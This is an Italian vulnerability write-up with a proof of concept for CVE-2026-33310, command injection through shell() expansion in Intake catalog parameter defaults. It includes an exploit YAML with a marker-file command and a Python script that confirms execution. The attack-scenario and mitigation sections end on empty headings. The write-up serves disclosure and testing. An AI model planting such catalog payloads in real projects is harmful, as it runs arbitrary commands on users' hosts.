
Proof-of-concept che dimostra l'iniezione di comandi tramite l'espansione `shell()` nei valori predefiniti dei parametri dei cataloghi Intake, con YAML di exploit e script di riproduzione.
CVE-2026-33310 (Iniezione di comandi tramite espansione shell() nei valori predefiniti dei parametri)
La sintassi shell() all'interno dei valori predefiniti dei parametri sembra essere espansa automaticamente durante il processo di parsing del catalogo. Se un catalogo contiene un valore predefinito di parametro come shell(), il comando potrebbe essere eseguito quando si accede alla sorgente del catalogo. Ciò significa che se un utente carica un YAML di catalogo dannoso, i comandi incorporati potrebbero essere eseguiti sul sistema host. Questo comportamento potrebbe potenzialmente essere classificato come CWE-78: Iniezione di comandi del sistema operativo / Espansione shell non sicura.
Il problema sembra avere origine da come i valori predefiniti dei parametri vengono espansi quando si accede a una sorgente del catalogo.
Durante il caricamento del catalogo e l'accesso alla sorgente:
Intake risolve i valori predefiniti dei parametri La funzione responsabile dell'espansione dei valori predefiniti elabora la sintassi shell() L'espressione shell() attiva l'esecuzione di un sottoprocesso Poiché ciò avviene durante la valutazione del catalogo, il comando potrebbe essere eseguito prima che l'utente interagisca esplicitamente con il dataset stesso.
La logica interessata sembra coinvolgere:
expand_defaults()
e i relativi meccanismi di parsing dei parametri.
exploit.yaml
metadata:
version: 1
sources:
rce_test:
driver: csv
description: "Testing shell expansion in parameters"
args:
urlpath: "{{ cmd_exec }}"
parameters:
cmd_exec:
display_name: "Test Parameter"
type: str
default: "shell(touch /tmp/intake_rce_test)"
reproduce.py
import intake
import os
PROOF_FILE = "/tmp/intake_rce_test"
if os.path.exists(PROOF_FILE):
os.remove(PROOF_FILE)
print(f"[*] Proof file exists before: {os.path.exists(PROOF_FILE)}")
try:
cat = intake.open_catalog("exploit.yaml")
print("Accessing source...")
_ = cat["rce_test"]
except Exception as e:
print(f" Error during execution: {e}")
if os.path.exists(PROOF_FILE):
print(f" Command execution confirmed, Found: {PROOF_FILE}")
else:
print("Command execution did not occur.")
Uno scenario di attacco potenziale potrebbe essere:
Se questo comportamento viene confermato come non intenzionale, un attaccante potrebbe distribuire un file di catalogo dannoso tramite:
Le possibili mitigazioni potrebbero includere: